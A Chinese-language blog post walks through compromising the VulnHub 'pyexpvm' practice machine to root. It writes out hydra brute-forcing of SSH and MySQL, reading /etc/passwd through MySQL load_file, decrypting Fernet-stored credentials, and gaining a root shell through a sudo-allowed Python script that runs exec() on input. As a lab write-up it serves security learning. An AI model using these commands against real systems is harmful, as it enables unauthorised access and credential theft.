打靶记录17——pyexpvm

注意:

使用 VM Ware 打开靶机,不要使用 VirtualBox 打开,因为作者设计的就是使用 VM ware 的

靶机(中等难度):

https://download.vulnhub.com/pyexp/pyexpvm.zip

目标:

  • 取得 root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • SSH 密码爆破
  • Mysql 密码爆破
  • Mysql 执行代码
  • 编写解密代码
  • sudo 权限漏洞
  • Python 函数
  • 本地提权

主机发现

arp-scan -l

端口扫描和服务发现

nmap -p- 192.168.0.102 发现没有 Web 服务端口

nmap -p1337,3306 -sV -sC 192.168.0.102

发现 SSH 服务工作在 1337 端口上,不是常规的 22 端口

searchsploit ssh 7.9searchsploit mysql 5.5.5 查找已知的漏洞利用代码,发现没有可用的,mysql 那个得具体到 5.5.51 这个小版本才行

SSH 暴力破解

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.31.41:1337 爆破 SSH ,但是最后跑完了字典也没成功

因为我的网络环境改变,所以 IP 变了

Mysql 暴力破解

hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.0.102

破解成功,root 账号的密码 prettywoman ,意思是漂亮小姐姐

mysql -u root -h 192.168.0.102 -p或者mysql -u root -h 192.168.0.102 --skip-ssl -p 输入密码之后直接登录成功

通过 \! id 来尝试获取操作系统的指令失败

尝试 select do_system('id'); 也失败,靶机没有这个函数

select load_file('/etc/passwd'); 用系统函数读取系统文件成功

发现一个 lucy 账号:lucy:x:1000:1000:lucy,,,:/home/lucy:/bin/bash ,那可以尝试用 lucy 账号进行 SSH 暴力破解,但是失败了

那我们就继续读取文件呗,select load_file('/etc/alternatives/my.cnf');

  • 在Linux系统中,/etc/alternatives/my.cnf 是一个符号链接文件,它通常链接到 MySQL 配置文件 my.cnf

但是里面没有有价值的信息,但是它包含了其他文件的路径,里面也没有其他有价值的信息

select load_file('/home/lucy/.ssh/id_rsa'); 查看 SSH 秘钥是空的

继续信息收集,查看数据库,发现 data 数据库里面有一个 fernet 表,表里有两个字段 cred(身份认证信息) 和 keyy(秘钥)

cred:
gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=

keyy:
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=

根据表名使用百度大法得知是 fernet 算法,Python 有一个库 cryptography

cryptography · PyPI 发现利用代码

>>> from cryptography.fernet import Fernet
>>> # Put this somewhere safe!
>>> key = Fernet.generate_key()
>>> f = Fernet(key)
>>> token = f.encrypt(b"A really secret message. Not for prying eyes.")
>>> token
b'...'
>>> f.decrypt(token)
b'A really secret message. Not for prying eyes.'

参照官方代码运行一下

发现生成的 key 和 Mysql数据库里面截获的 key 长度,位数是一样的

对比生成的密文也是相似的

那我们最后再使用代码中的 f.decrypt(token) 来尝试解密试试

重新强制给 key 和 token 赋值,然后使用 f.decrypt(token) 来解密,成功获取明文 b'lucy:wJ9"Lemdv9[FEw-'`

那么尝试 SSH 登录 lucy 账号

ssh lucy@192.168.31.41 -p 1337 运气不错,成功登录,并且获得第一个 flag

提权

内核漏洞提权,但是是失败的

lucy@pyexp:~$ uname -a
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

cat .bash_history 有发现,他执行了一些命令

  • .bash_history是一个隐藏文件,存储了用户在交互式bash终端中执行过的命令历史记录。每次用户在终端中执行一个命令,该命令就会被追加到.bash_history文件中。

sudo -l 发现 lucy 她可以以 root 的身份,不需要密码执行命令 /usr/bin/python2 /opt/exp.py

直接执行看不出是什么功能的

ls -l /opt/exp.py 发现我们有读的

lucy@pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)

help('exec')发现 exec 函数可以动态的执行 python 代码

既然这样,那我们使用经典的 import pty;pty.spawn('/bin/bash') 提权成功,成为 root 账户,获得第2个 flag

ip a 确实是在目标靶机上,打靶结束!

posted @ 2024-09-11 11:11  Fab1an  阅读(14)  评论(2编辑  收藏  举报